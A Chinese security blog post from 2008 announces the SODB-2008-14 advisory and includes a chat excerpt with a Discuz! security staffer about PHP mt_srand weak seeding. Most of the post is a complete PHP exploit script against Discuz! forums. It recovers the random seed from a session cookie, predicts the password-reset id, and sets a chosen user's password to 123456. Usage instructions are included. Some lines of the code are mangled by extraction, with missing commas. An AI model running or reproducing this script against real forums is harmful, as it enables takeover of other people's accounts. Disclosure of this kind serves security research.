导航

Web安全手册

分享本身就是件快乐的事 我因别人得到帮助而感到幸福

« HOW TO GET PHPCMS2008 WEBSHELLPHP 5.2.6 (error_log) safe_mode bypass »

SODB-2008-14发布

Posted by Superhei

为庆祝mjj终于被xx了,然后为道哥明天的演出加油,今天发布SODB-2008-14 ,只是具体分析暂时还没公布,有兴趣的人可以先去分析下,具体漏洞是利用的是se牛发现的mt_srand()/srand()-weak seeding ,这个应该还有很多web程序受这个漏洞的影响.这里还有一个小小的8挂,其实早在se在blog上说这个问题的时候,我就问过dz的安全人员,可惜的是他说他们早在n年前补丁了:

SuperHei 说:
dz的有mt_srand的漏洞没

******* 说:
06年就补了
SuperHei 说:
哦? 杂补的
******* 说:
哈哈
******* 说:
php手册写了
SuperHei 说:
杂写的
******* 说:
自己翻
******* 说:
别以为外国人都是走前边 啊
SuperHei 说:
....
SuperHei 说:
你说说你们杂补丁的
SuperHei 说:
先不要说那么多废话
******* 说:
不说
SuperHei 说:
那算了 呵呵
SuperHei 说:
当我算都没说
******* 说:
看到外国人搞啥 然后就来翻国内的程序
******* 说:
哈哈
SuperHei 说:
是啊 只有那水平 没办法啊
******* 说:
- -
******* 说:
那个mt_srand的 在php手册里说明了 所以在php版本大的时候不需要播种了 另外扩大了取值空间 基本是不可能碰出来的了
SuperHei 说:
呵呵

Exploit:
 

 
  1. #!/usr/bin/php   
  2. <?php   
  3.    
  4. print_r('  
  5. +---------------------------------------------------------------------------+  
  6. Discuz! Reset User Password Exploit  
  7. by 80vul  
  8. team: http://www.80vul.com  
  9. +---------------------------------------------------------------------------+  
  10. ');   
  11.    
  12. if ($argc < 6) {   
  13. print_r('  
  14. +---------------------------------------------------------------------------+  
  15. Usage: php '.$argv[0].' host path user mail uid  
  16. host: target server (ip/hostname)  
  17. path: path to discuz  
  18. user: user login name  
  19. mail: user login mail  
  20. uid: user login id  
  21. Example:  
  22. php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2  
  23. +---------------------------------------------------------------------------+  
  24. ');   
  25. exit;   
  26. }   
  27.    
  28. error_reporting(7);   
  29. ini_set('max_execution_time', 0);   
  30.    
  31. $host = $argv[1];   
  32. $path = $argv[2];   
  33. $user = $argv[3];   
  34. $mail = $argv[4];   
  35. $uid = $argv[5];   
  36.    
  37. $fp = fsockopen($host, 80);   
  38.    
  39. $data = "GET ".$path."viewthread.php HTTP/1.1\r\n";   
  40. $data .= "Host: $host\r\n";   
  41. $data .= "Keep-Alive: 300\r\n";   
  42. $data .= "Connection: keep-alive\r\n\r\n";   
  43.    
  44. fputs($fp$data);   
  45.    
  46. $resp = '';   
  47.    
  48. while ($fp && !feof($fp)) {   
  49. $resp .= fread($fp, 1024);   
  50. preg_match('/&formhash=([a-z0-9]{8})/'$resp$hash);   
  51. if ($hash)   
  52. break;   
  53. }   
  54.    
  55. if ($hash) {   
  56. $cmd = 'action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];   
  57. $data = "POST ".$path."member.php HTTP/1.1\r\n";   
  58. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";   
  59. $data .= "Referer: http://$host$path\r\n";   
  60. $data .= "Host: $host\r\n";   
  61. $data .= "Content-Length: ".strlen($cmd)."\r\n";   
  62. $data .= "Connection: close\r\n\r\n";   
  63. $data .= $cmd;   
  64.    
  65. fputs($fp$data);   
  66.    
  67. $resp = '';   
  68.    
  69. while ($fp && !feof($fp))   
  70. $resp .= fread($fp, 1024);   
  71.    
  72. fclose($fp);   
  73.    
  74. preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/'$resp$sid);   
  75.    
  76. if (!$sid)   
  77. exit("Exploit Failed!\n");   
  78.    
  79. $seed = getseed();   
  80. if ($seed) {   
  81. mt_srand($seed);   
  82. random();   
  83. mt_rand();   
  84. $id = random();   
  85.    
  86. $fp = fsockopen($host, 80);   
  87.    
  88. $cmd = 'action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];   
  89. $data = "POST ".$path."member.php HTTP/1.1\r\n";   
  90. $data .= "Content-Type: application/x-www-form-urlencoded\r\n";   
  91. $data .= "Referer: http://$host$path\r\n";   
  92. $data .= "Host: $host\r\n";   
  93. $data .= "Content-Length: ".strlen($cmd)."\r\n";   
  94. $data .= "Connection: close\r\n\r\n";   
  95. $data .= $cmd;   
  96.    
  97. fputs($fp$data);   
  98.    
  99. $resp = '';   
  100.    
  101. while ($fp && !feof($fp))   
  102. $resp .= fread($fp, 1024);   
  103.    
  104. if (strpos($resp'您的密码已重新设置,请使用新密码登录。') !== false)   
  105. exit("Expoilt Success!\nUser New Password:\t123456\n");   
  106. else   
  107. exit("Exploit Failed!\n");   
  108. else   
  109. exit("Exploit Failed!\n");   
  110. else   
  111. exit("Exploit Failed!\n");   
  112.    
  113. function getseed()   
  114. {   
  115. global $sid;   
  116.    
  117. for ($seed = 0; $seed <= 1000000; $seed ++) {   
  118. mt_srand($seed);   
  119. $id = random(6);   
  120. if ($id == $sid[1])   
  121. return $seed;   
  122. }   
  123. return false;   
  124. }   
  125.    
  126. function random($length = 6)   
  127. {   
  128. $hash = '';   
  129. $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';   
  130. $max = strlen($chars) - 1;   
  131. for ($i = 0; $i < $length$i ++)   
  132. $hash .= $chars[mt_rand(0, $max)];   
  133.    
  134. return $hash;   
  135. }   
  136.    
  137. ?>   

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-Blog .Theme from Google黑板报 By Washun

Copyright 2008-2009 Pcsec.org. Some Rights Reserved.苏ICP备08110306号

Search

网站分类

文章归档

最新评论及回复

最近发表